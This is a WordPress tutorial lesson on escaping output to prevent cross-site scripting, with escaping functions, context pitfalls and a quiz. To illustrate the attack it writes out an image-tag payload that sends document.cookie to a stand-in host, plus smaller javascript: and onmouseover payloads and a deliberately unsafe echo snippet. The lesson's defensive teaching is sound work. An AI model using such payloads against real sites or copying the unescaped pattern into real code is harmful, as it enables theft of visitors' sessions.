Skip to content
Tutorials Center
My learning

Topics

Lesson 53 of 68 ยท Forms, Security and Data Handling

Escaping Output

Learn to escape output in WordPress - esc_html, esc_attr, esc_url, esc_js, esc_html__, wp_kses, late escaping, escaping for the right context and how XSS attacks work.

You stored a comment, a post title or a custom field. Now you print it into a page. If that value contains <script> and you print it as it is, the browser runs it. This attack is cross-site scripting (XSS), and it lets an attacker act as your visitor: steal a session, post as an administrator or redirect to a fake login page. The defense is escaping: converting characters with special meaning in HTML into harmless text at the moment you output them.

Sanitizing input, from the previous lesson on sanitizing and validating, is not enough. Data can arrive through paths you did not control (imports, other plugins, old database rows), and a value that is safe in one place is dangerous in another. The WordPress rule is short: sanitize early, escape late. This lesson shows the escaping functions, why the context matters, and how to apply the rule everywhere.

WordPress cannot run on this site. The WordPress calls are read-only. The runnable examples use plain-PHP functions with the same names plus a _demo suffix; they illustrate what escaping does and are simplified compared with the real functions.

How an XSS attack works

Imagine a theme that prints a visitor's name straight from a comment:

PHP
<?php
// UNSAFE (read-only): do not do this
echo '<p>Posted by ' . $comment_author . '</p>';

If the author name is <img src=x onerror="fetch('https://evil.test/?c='+document.cookie)">, the browser treats it as markup, tries to load an image that does not exist and runs the onerror code. Escaping would print the same characters as visible text instead.

flowchart LR
    A["Attacker submits<br/>script as a name"] --> B["Stored in the database"]
    B --> C{"Escaped on output?"}
    C -- "No" --> D["Browser runs the script<br/>in every visitor's session"]
    C -- "Yes" --> E["Browser shows harmless text"]

The payload sits in the database for weeks; the output step decides whether it ever runs.

The escaping functions

Each function protects one context, the place in the page where the value lands.

Function Context What it does
esc_html( $text ) Between tags: <p>HERE</p> Converts <, >, &, quotes into entities
esc_attr( $text ) Inside a quoted attribute: title="HERE" Same, for attribute values
esc_url( $url ) href and src attributes Checks the protocol (http, https, mailto, tel...), removes bad characters, encodes quotes
esc_url_raw( $url ) Stored URLs, redirects, HTTP calls Like esc_url() but does not encode for HTML
esc_textarea( $text ) Inside <textarea> Entity encoding for textarea content
esc_js( $text ) Inline onclick="..." strings Escapes quotes and line breaks for a JavaScript string in an HTML attribute
wp_kses_post( $html ) / wp_kses() Rich HTML you want to keep Allow list of tags and attributes
wp_json_encode( $data ) Data handed to JavaScript Safe JSON for a script

Examples of the first four in a template:

PHP
<?php
// real WordPress, read-only
?>
<article class="<?php echo esc_attr( $card_class ); ?>">
    <h2><a href="<?php echo esc_url( get_permalink() ); ?>">
        <?php echo esc_html( get_the_title() ); ?>
    </a></h2>
    <p title="<?php echo esc_attr( $note ); ?>">
        <?php echo wp_kses_post( $summary_with_markup ); ?>
    </p>
</article>

Core also gives you printing shortcuts that translate and escape in one step: esc_html__( 'Read more', 'myplugin' ) returns the escaped translation, esc_html_e( 'Read more', 'myplugin' ) echoes it, and esc_attr__() and esc_attr_e() do the same for attributes. Plain __() and _e() translate but do not escape, and a translation file is outside input you control, so use the escaping versions when you print.

esc_js and JavaScript

esc_js() exists for old-style inline handlers. For modern code, avoid putting PHP values inside JavaScript strings. Pass data as JSON instead, either with wp_json_encode() in an inline script (via wp_add_inline_script()), with wp_localize_script(), or in a data- attribute (escaped with esc_attr()) that your script reads. The enqueuing lesson shows how to attach inline data to a script handle.

Late escaping

"Escape late" means do it at the last moment, in the same line that prints the value, not when you fetch or assemble it:

PHP
<?php
// Good: the escape sits next to the echo, so a reviewer can see it.
echo '<h1>' . esc_html( $title ) . '</h1>';

// Risky: was $title_html escaped somewhere else? Nobody can tell from here.
echo '<h1>' . $title_html . '</h1>';

There are three reasons. A reader (or a code scanner) can verify the line without hunting through other files. Escaping early couples your function to one output format: a title escaped for HTML is wrong for JSON or email. And data may be changed between the escape and the output by a filter, which could reintroduce unsafe characters. The WordPress Coding Standards tool flags unescaped output, so follow the rule and the checks pass.

Functions whose names start with get_ return values without escaping, and the_ functions print. Some the_ functions are made to be printed directly: the_permalink() escapes its URL with esc_url(), and the_title() is conventionally printed as is, although esc_html( get_the_title() ) is the stricter choice. the_content() runs the content through filters and block rendering and is meant to be printed as is, because it was already filtered for allowed HTML when the author saved the post. When you build HTML yourself from get_the_title(), get_permalink() or meta values, escape them.

Escape for the right context

A value that is safe in one context can be dangerous in another. These are the classic mistakes:

  • esc_html() inside an unquoted attribute. esc_html does not encode spaces, so <div class=<?php echo esc_html( $x ); ?>> allows x onmouseover=.... Always quote attributes and use esc_attr().
  • esc_attr() or esc_html() for URLs. They do not check protocols, so javascript:alert(1) slips through in an href. Use esc_url().
  • esc_url() on a value that goes into a database query. Use esc_url_raw() for storage; esc_url() converts & to &#038;, which would corrupt query strings.
  • Escaping a value inside an HTML comment, a <style> block or a <script> block with an HTML function. Those contexts follow different parsing rules, so pass data through wp_json_encode() or a CSS-safe whitelist instead.
  • Escaping twice. The WordPress functions avoid re-encoding entities like &amp;, but a generic double escape can still show &amp;amp; in the page.

Try it: safe versus unsafe output

This stand-in prints a hostile comment two ways. The unsafe version concatenates values directly; the safe version uses an HTML escape for text, an attribute escape and a URL filter. Study how the same payload ends up as markup in the first and as text in the second.

PHP Unsafe versus escaped output

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with fgets(STDIN)), it gets the next line from this box.

In the safe output the image tag has become text, the quotes in the title can no longer break out of the attribute, and the javascript: URL was reduced to an empty href.

Try it: context matters

Here are three contexts and three wrong choices. The last one prints an unquoted attribute with an HTML escape, which leaves the door open. The right fix is quoting plus esc_attr().

PHP Escaping for the right context

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with fgets(STDIN)), it gets the next line from this box.

Case 1 shows onmouseover=alert(1) becoming a real attribute of the div. The JSON function in case 3 turns < and > into hexadecimal escapes, so a closing </script> inside the data cannot end the script block early. In the real world, prefer wp_json_encode() and wp_add_inline_script().

Escaping and wp_kses

When a field is meant to contain markup, such as a rich-text description, esc_html() would show the tags as text and ruin the formatting. Use wp_kses_post() (or wp_kses() with your own allow list) so that only expected tags survive. This sanitizes on output as well, which is the "escape late" idea applied to HTML. Remember that user capability also matters: administrators with unfiltered_html can save script tags in posts, which is a separate trust decision from how plugins print visitor-provided values.

A checklist

  1. Find every echo, print and <?= in your template or plugin.
  2. For each, ask: what is the context (text, attribute, URL, script, textarea)?
  3. Wrap the value in the matching function, as late as possible.
  4. Use esc_html__() and friends for translated strings.
  5. Never trust a value because "I saved it myself". Data changes hands.
  6. Let PHPCS with the WordPress standards (see testing and deployment) catch what you miss.

Check your understanding

Quick check ยท 5 questions

of 5 answered You scored / 5 ยท perfect!

  1. 1. What does "escape late" mean?

    Escaping at output makes the safety visible at the echo and matches the output format that is actually in use.
  2. 2. Which function should wrap the value of an href attribute?

    esc_url() also checks the protocol and strips bad characters, so javascript: links do not pass.
  3. 3. A value is printed into an unquoted attribute with esc_html(). What is the problem?

    Spaces are not encoded, so the browser sees a new attribute. Quote attributes and use esc_attr().
  4. 4. Why prefer esc_html__() over __() when printing a translated string?

    The translation can contain characters you did not write. The esc_ versions translate and escape in one call.
  5. 5. You store a URL in post meta. Which function is right for saving it?

    esc_url_raw() cleans the URL without converting ampersands into HTML entities, which is wrong for stored data.

Summary

  • Escaping turns characters with special meaning into harmless text so stored data cannot become markup or code.
  • Sanitize early, escape late: put the escape on the line that prints.
  • Match the function to the context: esc_html(), esc_attr(), esc_url(), esc_textarea(), wp_kses_post() and wp_json_encode() for scripts.
  • Always quote attributes; use esc_url_raw() only for storage and redirects.
  • Use esc_html__() and esc_attr__() for translated strings, and esc_html_e() to echo them.
  • The runnable examples are plain-PHP stand-ins that show the idea, not the real functions.

Next: Users, Roles and Capabilities